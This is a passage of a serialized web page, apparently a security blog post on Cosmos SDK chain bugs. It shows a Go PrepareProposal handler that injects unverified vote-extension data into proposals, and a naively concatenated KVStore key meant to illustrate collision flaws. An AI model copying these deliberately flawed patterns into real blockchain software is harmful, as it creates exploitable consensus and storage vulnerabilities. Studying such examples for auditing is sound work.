}\n}\n",[84435],{"type":21,"tag":194,"props":84436,"children":84437},{"__ignoreMap":7},[84438,84492,84583,84590,84611,84678,84686,84791,84814,84833,84840,84894,84917,84972,84991,84998,85005,85012,85066,85073,85099,85122,85174,85236,85243,85270,85290,85302,85309],{"type":21,"tag":198,"props":84439,"children":84440},{"class":200,"line":201},[84441,84445,84449,84454,84458,84463,84467,84472,84476,84480,84484,84488],{"type":21,"tag":198,"props":84442,"children":84443},{"style":249},[84444],{"type":27,"value":76682},{"type":21,"tag":198,"props":84446,"children":84447},{"style":211},[84448],{"type":27,"value":648},{"type":21,"tag":198,"props":84450,"children":84451},{"style":226},[84452],{"type":27,"value":84453},"h ",{"type":21,"tag":198,"props":84455,"children":84456},{"style":683},[84457],{"type":27,"value":5383},{"type":21,"tag":198,"props":84459,"children":84460},{"style":1966},[84461],{"type":27,"value":84462},"Handlers",{"type":21,"tag":198,"props":84464,"children":84465},{"style":211},[84466],{"type":27,"value":1541},{"type":21,"tag":198,"props":84468,"children":84469},{"style":698},[84470],{"type":27,"value":84471},"PrepareProposalHandler",{"type":21,"tag":198,"props":84473,"children":84474},{"style":211},[84475],{"type":27,"value":14850},{"type":21,"tag":198,"props":84477,"children":84478},{"style":1966},[84479],{"type":27,"value":79112},{"type":21,"tag":198,"props":84481,"children":84482},{"style":211},[84483],{"type":27,"value":658},{"type":21,"tag":198,"props":84485,"children":84486},{"style":1966},[84487],{"type":27,"value":84471},{"type":21,"tag":198,"props":84489,"children":84490},{"style":211},[84491],{"type":27,"value":233},{"type":21,"tag":198,"props":84493,"children":84494},{"class":200,"line":217},[84495,84499,84503,84507,84511,84515,84519,84523,84527,84532,84536,84541,84545,84550,84554,84558,84562,84566,84571,84575,84579],{"type":21,"tag":198,"props":84496,"children":84497},{"style":640},[84498],{"type":27,"value":1478},{"type":21,"tag":198,"props":84500,"children":84501},{"style":249},[84502],{"type":27,"value":80391},{"type":21,"tag":198,"props":84504,"children":84505},{"style":211},[84506],{"type":27,"value":706},{"type":21,"tag":198,"props":84508,"children":84509},{"style":226},[84510],{"type":27,"value":21075},{"type":21,"tag":198,"props":84512,"children":84513},{"style":1966},[84514],{"type":27,"value":79023},{"type":21,"tag":198,"props":84516,"children":84517},{"style":211},[84518],{"type":27,"value":658},{"type":21,"tag":198,"props":84520,"children":84521},{"style":1966},[84522],{"type":27,"value":76731},{"type":21,"tag":198,"props":84524,"children":84525},{"style":211},[84526],{"type":27,"value":828},{"type":21,"tag":198,"props":84528,"children":84529},{"style":226},[84530],{"type":27,"value":84531},"req",{"type":21,"tag":198,"props":84533,"children":84534},{"style":683},[84535],{"type":27,"value":10626},{"type":21,"tag":198,"props":84537,"children":84538},{"style":1966},[84539],{"type":27,"value":84540},"abcitypes",{"type":21,"tag":198,"props":84542,"children":84543},{"style":211},[84544],{"type":27,"value":658},{"type":21,"tag":198,"props":84546,"children":84547},{"style":1966},[84548],{"type":27,"value":84549},"RequestPrepareProposal",{"type":21,"tag":198,"props":84551,"children":84552},{"style":211},[84553],{"type":27,"value":76764},{"type":21,"tag":198,"props":84555,"children":84556},{"style":683},[84557],{"type":27,"value":5383},{"type":21,"tag":198,"props":84559,"children":84560},{"style":1966},[84561],{"type":27,"value":84540},{"type":21,"tag":198,"props":84563,"children":84564},{"style":211},[84565],{"type":27,"value":658},{"type":21,"tag":198,"props":84567,"children":84568},{"style":1966},[84569],{"type":27,"value":84570},"ResponsePrepareProposal",{"type":21,"tag":198,"props":84572,"children":84573},{"style":211},[84574],{"type":27,"value":828},{"type":21,"tag":198,"props":84576,"children":84577},{"style":1966},[84578],{"type":27,"value":15668},{"type":21,"tag":198,"props":84580,"children":84581},{"style":211},[84582],{"type":27,"value":668},{"type":21,"tag":198,"props":84584,"children":84585},{"class":200,"line":236},[84586],{"type":21,"tag":198,"props":84587,"children":84588},{"style":683},[84589],{"type":27,"value":82224},{"type":21,"tag":198,"props":84591,"children":84592},{"class":200,"line":260},[84593,84597,84602,84606],{"type":21,"tag":198,"props":84594,"children":84595},{"style":249},[84596],{"type":27,"value":80500},{"type":21,"tag":198,"props":84598,"children":84599},{"style":226},[84600],{"type":27,"value":84601}," injection",{"type":21,"tag":198,"props":84603,"children":84604},{"style":211},[84605],{"type":27,"value":76609},{"type":21,"tag":198,"props":84607,"children":84608},{"style":1966},[84609],{"type":27,"value":84610},"byte\n",{"type":21,"tag":198,"props":84612,"children":84613},{"class":200,"line":281},[84614,84618,84623,84627,84631,84635,84639,84643,84647,84651,84656,84660,84665,84669,84674],{"type":21,"tag":198,"props":84615,"children":84616},{"style":640},[84617],{"type":27,"value":4079},{"type":21,"tag":198,"props":84619,"children":84620},{"style":226},[84621],{"type":27,"value":84622}," req",{"type":21,"tag":198,"props":84624,"children":84625},{"style":211},[84626],{"type":27,"value":658},{"type":21,"tag":198,"props":84628,"children":84629},{"style":226},[84630],{"type":27,"value":83861},{"type":21,"tag":198,"props":84632,"children":84633},{"style":683},[84634],{"type":27,"value":15000},{"type":21,"tag":198,"props":84636,"children":84637},{"style":226},[84638],{"type":27,"value":26647},{"type":21,"tag":198,"props":84640,"children":84641},{"style":211},[84642],{"type":27,"value":658},{"type":21,"tag":198,"props":84644,"children":84645},{"style":698},[84646],{"type":27,"value":84062},{"type":21,"tag":198,"props":84648,"children":84649},{"style":211},[84650],{"type":27,"value":30969},{"type":21,"tag":198,"props":84652,"children":84653},{"style":226},[84654],{"type":27,"value":84655},"Abci",{"type":21,"tag":198,"props":84657,"children":84658},{"style":211},[84659],{"type":27,"value":658},{"type":21,"tag":198,"props":84661,"children":84662},{"style":226},[84663],{"type":27,"value":84664},"VoteExtensionsEnableHeight",{"type":21,"tag":198,"props":84666,"children":84667},{"style":683},[84668],{"type":27,"value":1819},{"type":21,"tag":198,"props":84670,"children":84671},{"style":226},[84672],{"type":27,"value":84673}," collectSigs",{"type":21,"tag":198,"props":84675,"children":84676},{"style":211},[84677],{"type":27,"value":233},{"type":21,"tag":198,"props":84679,"children":84680},{"class":200,"line":302},[84681],{"type":21,"tag":198,"props":84682,"children":84683},{"style":1233},[84684],{"type":27,"value":84685}," //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":21,"tag":198,"props":84687,"children":84688},{"class":200,"line":323},[84689,84693,84697,84702,84706,84711,84715,84719,84723,84728,84732,84737,84741,84745,84749,84753,84757,84761,84765,84770,84774,84778,84782,84787],{"type":21,"tag":198,"props":84690,"children":84691},{"style":226},[84692],{"type":27,"value":82718},{"type":21,"tag":198,"props":84694,"children":84695},{"style":683},[84696],{"type":27,"value":76798},{"type":21,"tag":198,"props":84698,"children":84699},{"style":226},[84700],{"type":27,"value":84701}," baseapp",{"type":21,"tag":198,"props":84703,"children":84704},{"style":211},[84705],{"type":27,"value":658},{"type":21,"tag":198,"props":84707,"children":84708},{"style":698},[84709],{"type":27,"value":84710},"ValidateVoteExtensions",{"type":21,"tag":198,"props":84712,"children":84713},{"style":211},[84714],{"type":27,"value":706},{"type":21,"tag":198,"props":84716,"children":84717},{"style":226},[84718],{"type":27,"value":21075},{"type":21,"tag":198,"props":84720,"children":84721},{"style":211},[84722],{"type":27,"value":828},{"type":21,"tag":198,"props":84724,"children":84725},{"style":226},[84726],{"type":27,"value":84727},"h",{"type":21,"tag":198,"props":84729,"children":84730},{"style":211},[84731],{"type":27,"value":658},{"type":21,"tag":198,"props":84733,"children":84734},{"style":226},[84735],{"type":27,"value":84736},"stakingKeeper",{"type":21,"tag":198,"props":84738,"children":84739},{"style":211},[84740],{"type":27,"value":828},{"type":21,"tag":198,"props":84742,"children":84743},{"style":226},[84744],{"type":27,"value":84531},{"type":21,"tag":198,"props":84746,"children":84747},{"style":211},[84748],{"type":27,"value":658},{"type":21,"tag":198,"props":84750,"children":84751},{"style":226},[84752],{"type":27,"value":83861},{"type":21,"tag":198,"props":84754,"children":84755},{"style":211},[84756],{"type":27,"value":828},{"type":21,"tag":198,"props":84758,"children":84759},{"style":226},[84760],{"type":27,"value":21075},{"type":21,"tag":198,"props":84762,"children":84763},{"style":211},[84764],{"type":27,"value":658},{"type":21,"tag":198,"props":84766,"children":84767},{"style":698},[84768],{"type":27,"value":84769},"ChainID",{"type":21,"tag":198,"props":84771,"children":84772},{"style":211},[84773],{"type":27,"value":19178},{"type":21,"tag":198,"props":84775,"children":84776},{"style":226},[84777],{"type":27,"value":84531},{"type":21,"tag":198,"props":84779,"children":84780},{"style":211},[84781],{"type":27,"value":658},{"type":21,"tag":198,"props":84783,"children":84784},{"style":226},[84785],{"type":27,"value":84786},"LocalLastCommit",{"type":21,"tag":198,"props":84788,"children":84789},{"style":211},[84790],{"type":27,"value":789},{"type":21,"tag":198,"props":84792,"children":84793},{"class":200,"line":344},[84794,84798,84802,84806,84810],{"type":21,"tag":198,"props":84795,"children":84796},{"style":640},[84797],{"type":27,"value":59178},{"type":21,"tag":198,"props":84799,"children":84800},{"style":226},[84801],{"type":27,"value":1611},{"type":21,"tag":198,"props":84803,"children":84804},{"style":683},[84805],{"type":27,"value":64765},{"type":21,"tag":198,"props":84807,"children":84808},{"style":249},[84809],{"type":27,"value":82300},{"type":21,"tag":198,"props":84811,"children":84812},{"style":211},[84813],{"type":27,"value":233},{"type":21,"tag":198,"props":84815,"children":84816},{"class":200,"line":365},[84817,84821,84825,84829],{"type":21,"tag":198,"props":84818,"children":84819},{"style":640},[84820],{"type":27,"value":61106},{"type":21,"tag":198,"props":84822,"children":84823},{"style":249},[84824],{"type":27,"value":82300},{"type":21,"tag":198,"props":84826,"children":84827},{"style":211},[84828],{"type":27,"value":828},{"type":21,"tag":198,"props":84830,"children":84831},{"style":226},[84832],{"type":27,"value":84021},{"type":21,"tag":198,"props":84834,"children":84835},{"class":200,"line":386},[84836],{"type":21,"tag":198,"props":84837,"children":84838},{"style":211},[84839],{"type":27,"value":59262},{"type":21,"tag":198,"props":84841,"children":84842},{"class":200,"line":408},[84843,84848,84852,84856,84860,84865,84869,84874,84878,84882,84886,84890],{"type":21,"tag":198,"props":84844,"children":84845},{"style":226},[84846],{"type":27,"value":84847}," injection",{"type":21,"tag":198,"props":84849,"children":84850},{"style":211},[84851],{"type":27,"value":828},{"type":21,"tag":198,"props":84853,"children":84854},{"style":226},[84855],{"type":27,"value":1507},{"type":21,"tag":198,"props":84857,"children":84858},{"style":683},[84859],{"type":27,"value":979},{"type":21,"tag":198,"props":84861,"children":84862},{"style":226},[84863],{"type":27,"value":84864}," json",{"type":21,"tag":198,"props":84866,"children":84867},{"style":211},[84868],{"type":27,"value":658},{"type":21,"tag":198,"props":84870,"children":84871},{"style":698},[84872],{"type":27,"value":84873},"Marshal",{"type":21,"tag":198,"props":84875,"children":84876},{"style":211},[84877],{"type":27,"value":706},{"type":21,"tag":198,"props":84879,"children":84880},{"style":226},[84881],{"type":27,"value":84531},{"type":21,"tag":198,"props":84883,"children":84884},{"style":211},[84885],{"type":27,"value":658},{"type":21,"tag":198,"props":84887,"children":84888},{"style":226},[84889],{"type":27,"value":84786},{"type":21,"tag":198,"props":84891,"children":84892},{"style":211},[84893],{"type":27,"value":789},{"type":21,"tag":198,"props":84895,"children":84896},{"class":200,"line":429},[84897,84901,84905,84909,84913],{"type":21,"tag":198,"props":84898,"children":84899},{"style":640},[84900],{"type":27,"value":59178},{"type":21,"tag":198,"props":84902,"children":84903},{"style":226},[84904],{"type":27,"value":1611},{"type":21,"tag":198,"props":84906,"children":84907},{"style":683},[84908],{"type":27,"value":64765},{"type":21,"tag":198,"props":84910,"children":84911},{"style":249},[84912],{"type":27,"value":82300},{"type":21,"tag":198,"props":84914,"children":84915},{"style":211},[84916],{"type":27,"value":233},{"type":21,"tag":198,"props":84918,"children":84919},{"class":200,"line":450},[84920,84925,84929,84934,84938,84942,84946,84951,84955,84960,84964,84968],{"type":21,"tag":198,"props":84921,"children":84922},{"style":226},[84923],{"type":27,"value":84924}," h",{"type":21,"tag":198,"props":84926,"children":84927},{"style":211},[84928],{"type":27,"value":658},{"type":21,"tag":198,"props":84930,"children":84931},{"style":226},[84932],{"type":27,"value":84933},"logger",{"type":21,"tag":198,"props":84935,"children":84936},{"style":211},[84937],{"type":27,"value":658},{"type":21,"tag":198,"props":84939,"children":84940},{"style":698},[84941],{"type":27,"value":38161},{"type":21,"tag":198,"props":84943,"children":84944},{"style":211},[84945],{"type":27,"value":706},{"type":21,"tag":198,"props":84947,"children":84948},{"style":205},[84949],{"type":27,"value":84950},"\"failed to marshal extended votes\"",{"type":21,"tag":198,"props":84952,"children":84953},{"style":211},[84954],{"type":27,"value":828},{"type":21,"tag":198,"props":84956,"children":84957},{"style":205},[84958],{"type":27,"value":84959},"\"err\"",{"type":21,"tag":198,"props":84961,"children":84962},{"style":211},[84963],{"type":27,"value":828},{"type":21,"tag":198,"props":84965,"children":84966},{"style":226},[84967],{"type":27,"value":1507},{"type":21,"tag":198,"props":84969,"children":84970},{"style":211},[84971],{"type":27,"value":789},{"type":21,"tag":198,"props":84973,"children":84974},{"class":200,"line":468},[84975,84979,84983,84987],{"type":21,"tag":198,"props":84976,"children":84977},{"style":640},[84978],{"type":27,"value":61106},{"type":21,"tag":198,"props":84980,"children":84981},{"style":249},[84982],{"type":27,"value":82300},{"type":21,"tag":198,"props":84984,"children":84985},{"style":211},[84986],{"type":27,"value":828},{"type":21,"tag":198,"props":84988,"children":84989},{"style":226},[84990],{"type":27,"value":84021},{"type":21,"tag":198,"props":84992,"children":84993},{"class":200,"line":477},[84994],{"type":21,"tag":198,"props":84995,"children":84996},{"style":211},[84997],{"type":27,"value":59262},{"type":21,"tag":198,"props":84999,"children":85000},{"class":200,"line":494},[85001],{"type":21,"tag":198,"props":85002,"children":85003},{"style":683},[85004],{"type":27,"value":82900},{"type":21,"tag":198,"props":85006,"children":85007},{"class":200,"line":515},[85008],{"type":21,"tag":198,"props":85009,"children":85010},{"style":211},[85011],{"type":27,"value":1160},{"type":21,"tag":198,"props":85013,"children":85014},{"class":200,"line":4484},[85015,85020,85024,85028,85032,85037,85041,85046,85050,85054,85058,85062],{"type":21,"tag":198,"props":85016,"children":85017},{"style":226},[85018],{"type":27,"value":85019}," defaultRes",{"type":21,"tag":198,"props":85021,"children":85022},{"style":211},[85023],{"type":27,"value":828},{"type":21,"tag":198,"props":85025,"children":85026},{"style":226},[85027],{"type":27,"value":1507},{"type":21,"tag":198,"props":85029,"children":85030},{"style":683},[85031],{"type":27,"value":76798},{"type":21,"tag":198,"props":85033,"children":85034},{"style":226},[85035],{"type":27,"value":85036}," h",{"type":21,"tag":198,"props":85038,"children":85039},{"style":211},[85040],{"type":27,"value":658},{"type":21,"tag":198,"props":85042,"children":85043},{"style":698},[85044],{"type":27,"value":85045},"defaultPrepareProposal",{"type":21,"tag":198,"props":85047,"children":85048},{"style":211},[85049],{"type":27,"value":706},{"type":21,"tag":198,"props":85051,"children":85052},{"style":226},[85053],{"type":27,"value":21075},{"type":21,"tag":198,"props":85055,"children":85056},{"style":211},[85057],{"type":27,"value":828},{"type":21,"tag":198,"props":85059,"children":85060},{"style":226},[85061],{"type":27,"value":84531},{"type":21,"tag":198,"props":85063,"children":85064},{"style":211},[85065],{"type":27,"value":789},{"type":21,"tag":198,"props":85067,"children":85068},{"class":200,"line":4493},[85069],{"type":21,"tag":198,"props":85070,"children":85071},{"style":683},[85072],{"type":27,"value":82224},{"type":21,"tag":198,"props":85074,"children":85075},{"class":200,"line":4561},[85076,85081,85085,85090,85094],{"type":21,"tag":198,"props":85077,"children":85078},{"style":226},[85079],{"type":27,"value":85080}," proposalTxs",{"type":21,"tag":198,"props":85082,"children":85083},{"style":683},[85084],{"type":27,"value":76798},{"type":21,"tag":198,"props":85086,"children":85087},{"style":226},[85088],{"type":27,"value":85089}," defaultRes",{"type":21,"tag":198,"props":85091,"children":85092},{"style":211},[85093],{"type":27,"value":658},{"type":21,"tag":198,"props":85095,"children":85096},{"style":226},[85097],{"type":27,"value":85098},"Txs\n",{"type":21,"tag":198,"props":85100,"children":85101},{"class":200,"line":4569},[85102,85106,85110,85114,85118],{"type":21,"tag":198,"props":85103,"children":85104},{"style":640},[85105],{"type":27,"value":4079},{"type":21,"tag":198,"props":85107,"children":85108},{"style":226},[85109],{"type":27,"value":84601},{"type":21,"tag":198,"props":85111,"children":85112},{"style":683},[85113],{"type":27,"value":64765},{"type":21,"tag":198,"props":85115,"children":85116},{"style":249},[85117],{"type":27,"value":82300},{"type":21,"tag":198,"props":85119,"children":85120},{"style":211},[85121],{"type":27,"value":233},{"type":21,"tag":198,"props":85123,"children":85124},{"class":200,"line":4599},[85125,85130,85134,85138,85143,85148,85152,85157,85161,85166,85170],{"type":21,"tag":198,"props":85126,"children":85127},{"style":226},[85128],{"type":27,"value":85129}," proposalTxs",{"type":21,"tag":198,"props":85131,"children":85132},{"style":683},[85133],{"type":27,"value":979},{"type":21,"tag":198,"props":85135,"children":85136},{"style":698},[85137],{"type":27,"value":78078},{"type":21,"tag":198,"props":85139,"children":85140},{"style":211},[85141],{"type":27,"value":85142},"([][]",{"type":21,"tag":198,"props":85144,"children":85145},{"style":1966},[85146],{"type":27,"value":85147},"byte",{"type":21,"tag":198,"props":85149,"children":85150},{"style":211},[85151],{"type":27,"value":77000},{"type":21,"tag":198,"props":85153,"children":85154},{"style":226},[85155],{"type":27,"value":85156},"injection",{"type":21,"tag":198,"props":85158,"children":85159},{"style":211},[85160],{"type":27,"value":77019},{"type":21,"tag":198,"props":85162,"children":85163},{"style":226},[85164],{"type":27,"value":85165},"proposalTxs",{"type":21,"tag":198,"props":85167,"children":85168},{"style":683},[85169],{"type":27,"value":10402},{"type":21,"tag":198,"props":85171,"children":85172},{"style":211},[85173],{"type":27,"value":789},{"type":21,"tag":198,"props":85175,"children":85176},{"class":200,"line":4607},[85177,85182,85186,85190,85194,85198,85202,85207,85211,85216,85220,85224,85228,85232],{"type":21,"tag":198,"props":85178,"children":85179},{"style":226},[85180],{"type":27,"value":85181}," h",{"type":21,"tag":198,"props":85183,"children":85184},{"style":211},[85185],{"type":27,"value":658},{"type":21,"tag":198,"props":85187,"children":85188},{"style":226},[85189],{"type":27,"value":84933},{"type":21,"tag":198,"props":85191,"children":85192},{"style":211},[85193],{"type":27,"value":658},{"type":21,"tag":198,"props":85195,"children":85196},{"style":698},[85197],{"type":27,"value":25515},{"type":21,"tag":198,"props":85199,"children":85200},{"style":211},[85201],{"type":27,"value":706},{"type":21,"tag":198,"props":85203,"children":85204},{"style":205},[85205],{"type":27,"value":85206},"\"injected local last commit\"",{"type":21,"tag":198,"props":85208,"children":85209},{"style":211},[85210],{"type":27,"value":828},{"type":21,"tag":198,"props":85212,"children":85213},{"style":205},[85214],{"type":27,"value":85215},"\"height\"",{"type":21,"tag":198,"props":85217,"children":85218},{"style":211},[85219],{"type":27,"value":828},{"type":21,"tag":198,"props":85221,"children":85222},{"style":226},[85223],{"type":27,"value":84531},{"type":21,"tag":198,"props":85225,"children":85226},{"style":211},[85227],{"type":27,"value":658},{"type":21,"tag":198,"props":85229,"children":85230},{"style":226},[85231],{"type":27,"value":83861},{"type":21,"tag":198,"props":85233,"children":85234},{"style":211},[85235],{"type":27,"value":789},{"type":21,"tag":198,"props":85237,"children":85238},{"class":200,"line":4638},[85239],{"type":21,"tag":198,"props":85240,"children":85241},{"style":211},[85242],{"type":27,"value":1160},{"type":21,"tag":198,"props":85244,"children":85245},{"class":200,"line":4646},[85246,85250,85254,85258,85262,85266],{"type":21,"tag":198,"props":85247,"children":85248},{"style":640},[85249],{"type":27,"value":16547},{"type":21,"tag":198,"props":85251,"children":85252},{"style":683},[85253],{"type":27,"value":7953},{"type":21,"tag":198,"props":85255,"children":85256},{"style":1966},[85257],{"type":27,"value":84540},{"type":21,"tag":198,"props":85259,"children":85260},{"style":211},[85261],{"type":27,"value":658},{"type":21,"tag":198,"props":85263,"children":85264},{"style":1966},[85265],{"type":27,"value":84570},{"type":21,"tag":198,"props":85267,"children":85268},{"style":211},[85269],{"type":27,"value":11689},{"type":21,"tag":198,"props":85271,"children":85272},{"class":200,"line":4706},[85273,85278,85282,85286],{"type":21,"tag":198,"props":85274,"children":85275},{"style":226},[85276],{"type":27,"value":85277}," Txs",{"type":21,"tag":198,"props":85279,"children":85280},{"style":211},[85281],{"type":27,"value":16136},{"type":21,"tag":198,"props":85283,"children":85284},{"style":226},[85285],{"type":27,"value":85165},{"type":21,"tag":198,"props":85287,"children":85288},{"style":211},[85289],{"type":27,"value":257},{"type":21,"tag":198,"props":85291,"children":85292},{"class":200,"line":9857},[85293,85298],{"type":21,"tag":198,"props":85294,"children":85295},{"style":211},[85296],{"type":27,"value":85297}," }, ",{"type":21,"tag":198,"props":85299,"children":85300},{"style":249},[85301],{"type":27,"value":77024},{"type":21,"tag":198,"props":85303,"children":85304},{"class":200,"line":9875},[85305],{"type":21,"tag":198,"props":85306,"children":85307},{"style":211},[85308],{"type":27,"value":880},{"type":21,"tag":198,"props":85310,"children":85311},{"class":200,"line":9920},[85312],{"type":21,"tag":198,"props":85313,"children":85314},{"style":211},[85315],{"type":27,"value":1120},{"type":21,"tag":30,"props":85317,"children":85318},{},[85319,85321,85326,85327,85332,85334,85341],{"type":27,"value":85320},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":21,"tag":194,"props":85322,"children":85324},{"className":85323},[],[85325],{"type":27,"value":83690},{"type":27,"value":648},{"type":21,"tag":194,"props":85328,"children":85330},{"className":85329},[],[85331],{"type":27,"value":83758},{"type":27,"value":85333},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":21,"tag":34,"props":85335,"children":85338},{"href":85336,"rel":85337},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[38],[85339],{"type":27,"value":85340},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":27,"value":85342},", which will later get rejected by CometBTF.",{"type":21,"tag":22,"props":85344,"children":85346},{"id":85345},"the-keymaker",[85347],{"type":27,"value":85348},"The Keymaker",{"type":21,"tag":30,"props":85350,"children":85351},{},[85352,85354,85360,85362,85367],{"type":27,"value":85353},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":21,"tag":194,"props":85355,"children":85357},{"className":85356},[],[85358],{"type":27,"value":85359},"KVStore",{"type":27,"value":85361}," to handle states efficently. In ",{"type":21,"tag":194,"props":85363,"children":85365},{"className":85364},[],[85366],{"type":27,"value":85359},{"type":27,"value":85368},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":21,"tag":30,"props":85370,"children":85371},{},[85372],{"type":27,"value":85373},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":21,"tag":30,"props":85375,"children":85376},{},[85377,85379,85385],{"type":27,"value":85378},"Let's start by considering a scenario where we need to store the ",{"type":21,"tag":194,"props":85380,"children":85382},{"className":85381},[],[85383],{"type":27,"value":85384},"positionMap",{"type":27,"value":85386}," structure mentioned below into storage.",{"type":21,"tag":187,"props":85388,"children":85390},{"code":85389,"language":76546,"meta":7,"className":76547,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n data []byte\n}\ntype PositionMap :=\n map[VaultId]map[Username]map[PositionName]Position\n",[85391],{"type":21,"tag":194,"props":85392,"children":85393},{"__ignoreMap":7},[85394,85410,85427,85443,85462,85477,85484,85501],{"type":21,"tag":198,"props":85395,"children":85396},{"class":200,"line":201},[85397,85401,85406],{"type":21,"tag":198,"props":85398,"children":85399},{"style":249},[85400],{"type":27,"value":33535},{"type":21,"tag":198,"props":85402,"children":85403},{"style":1966},[85404],{"type":27,"value":85405}," VaultId",{"type":21,"tag":198,"props":85407,"children":85408},{"style":1966},[85409],{"type":27,"value":76584},{"type":21,"tag":198,"props":85411,"children":85412},{"class":200,"line":217},[85413,85417,85422],{"type":21,"tag":198,"props":85414,"children":85415},{"style":249},[85416],{"type":27,"value":33535},{"type":21,"tag":198,"props":85418,"children":85419},{"style":1966},[85420],{"type":27,"value":85421}," Username",{"type":21,"tag":198,"props":85423,"children":85424},{"style":1966},[85425],{"type":27,"value":85426}," string\n",{"type":21,"tag":198,"props":85428,"children":85429},{"class":200,"line":236},[85430,85434,85439],{"type":21,"tag":198,"props":85431,"children":85432},{"style":249},[85433],{"type":27,"value":33535},{"type":21,"tag":198,"props":85435,"children":85436},{"style":1966},[85437],{"type":27,"value":85438}," PositionName",{"type":21,"tag":198,"props":85440,"children":85441},{"style":1966},[85442],{"type":27,"value":85426},{"type":21,"tag":198,"props":85444,"children":85445},{"class":200,"line":260},[85446,85450,85454,85458],{"type":21,"tag":198,"props":85447,"children":85448},{"style":249},[85449],{"type":27,"value":33535},{"type":21,"tag":198,"props":85451,"children":85452},{"style":1966},[85453],{"type":27,"value":8237},{"type":21,"tag":198,"props":85455,"children":85456},{"style":249},[85457],{"type":27,"value":21944},{"type":21,"tag":198,"props":85459,"children":85460},{"style":211},[85461],{"type":27,"value":233},{"type":21,"tag":198,"props":85463,"children":85464},{"class":200,"line":281},[85465,85469,85473],{"type":21,"tag":198,"props":85466,"children":85467},{"style":226},[85468],{"type":27,"value":43986},{"type":21,"tag":198,"props":85470,"children":85471},{"style":211},[85472],{"type":27,"value":76609},{"type":21,"tag":198,"props":85474,"children":85475},{"style":1966},[85476],{"type":27,"value":84610},{"type":21,"tag":198,"props":85478,"children":85479},{"class":200,"line":302},[85480],{"type":21,"tag":198,"props":85481,"children":85482},{"style":211},[85483],{"type":27,"value":1120},{"type":21,"tag":198,"props":85485,"children":85486},{"class":200,"line":323},[85487,85491,85496],{"type":21,"tag":198,"props":85488,"children":85489},{"style":249},[85490],{"type":27,"value":33535},{"type":21,"tag":198,"props":85492,"children":85493},{"style":1966},[85494],{"type":27,"value":85495}," PositionMap",{"type":21,"tag":198,"props":85497,"children":85498},{"style":683},[85499],{"type":27,"value":85500}," :=\n",{"type":21,"tag":198,"props":85502,"children":85503},{"class":200,"line":344},[85504,85509,85513,85518,85522,85526,85530,85535,85539,85543,85547,85552,85556],{"type":21,"tag":198,"props":85505,"children":85506},{"style":249},[85507],{"type":27,"value":85508}," map",{"type":21,"tag":198,"props":85510,"children":85511},{"style":211},[85512],{"type":27,"value":2051},{"type":21,"tag":198,"props":85514,"children":85515},{"style":1966},[85516],{"type":27,"value":85517},"VaultId",{"type":21,"tag":198,"props":85519,"children":85520},{"style":211},[85521],{"type":27,"value":2071},{"type":21,"tag":198,"props":85523,"children":85524},{"style":249},[85525],{"type":27,"value":67481},{"type":21,"tag":198,"props":85527,"children":85528},{"style":211},[85529],{"type":27,"value":2051},{"type":21,"tag":198,"props":85531,"children":85532},{"style":1966},[85533],{"type":27,"value":85534},"Username",{"type":21,"tag":198,"props":85536,"children":85537},{"style":211},[85538],{"type":27,"value":2071},{"type":21,"tag":198,"props":85540,"children":85541},{"style":249},[85542],{"type":27,"value":67481},{"type":21,"tag":198,"props":85544,"children":85545},{"style":211},[85546],{"type":27,"value":2051},{"type":21,"tag":198,"props":85548,"children":85549},{"style":1966},[85550],{"type":27,"value":85551},"PositionName",{"type":21,"tag":198,"props":85553,"children":85554},{"style":211},[85555],{"type":27,"value":2071},{"type":21,"tag":198,"props":85557,"children":85558},{"style":1966},[85559],{"type":27,"value":85560},"Position\n",{"type":21,"tag":30,"props":85562,"children":85563},{},[85564,85566,85572],{"type":27,"value":85565},"Given that there are two levels of keys in ",{"type":21,"tag":194,"props":85567,"children":85569},{"className":85568},[],[85570],{"type":27,"value":85571},"PositionMap",{"type":27,"value":85573},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":21,"tag":187,"props":85575,"children":85577},{"code":85576,"language":76546,"meta":7,"className":76547,"style":7},"storageKey := fmt.Sprintf(\n \"%d%s%s\",\n vaultId,\n username,\n positionName,\n)\n",[85578],{"type":21,"tag":194,"props":85579,"children":85580},{"__ignoreMap":7},[85581,85610,85622,85634,85646,85658],{"type":21,"tag":198,"props":85582,"children":85583},{"class":200,"line":201},[85584,85589,85593,85597,85601,85606],{"type":21,"tag":198,"props":85585,"children":85586},{"style":226},[85587],{"type":27,"value":85588},"storageKey",{"type":21,"tag":198,"props":85590,"children":85591},{"style":683},[85592],{"type":27,"value":76798},{"type":21,"tag":198,"props":85594,"children":85595},{"style":226},[85596],{"type":27,"value":82616},{"type":21,"tag":198,"props":85598,"children":85599},{"style":211},[85600],{"type":27,"value":658},{"type":21,"tag":198,"props":85602,"children":85603},{"style":698},[85604],{"type":27,"value":85605},"Sprintf",{"type":21,"tag":198,"props":85607,"children":85608},{"style":211},[85609],{"type":27,"value":4268},{"type":21,"tag":198,"props":85611,"children":85612},{"class":200,"line":217},[85613,85618],{"type":21,"tag":198,"props":85614,"children":85615},{"style":205},[85616],{"type":27,"value":85617}," \"%d%s%s\"",{"type":21,"tag":198,"props":85619,"children":85620},{"style":211},[85621],{"type":27,"value":257},{"type":21,"tag":198,"props":85623,"children":85624},{"class":200,"line":236},[85625,85630],{"type":21,"tag":198,"props":85626,"children":85627},{"style":226},[85628],{"type":27,"value":85629}," vaultId",{"type":21,"tag":198,"props":85631,"children":85632},{"style":211},[85633],{"type":27,"value":257},{"type":21,"tag":198,"props":85635,"children":85636},{"class":200,"line":260},[85637,85642],{"type":21,"tag":198,"props":85638,"children":85639},{"style":226},[85640],{"type":27,"value":85641}," 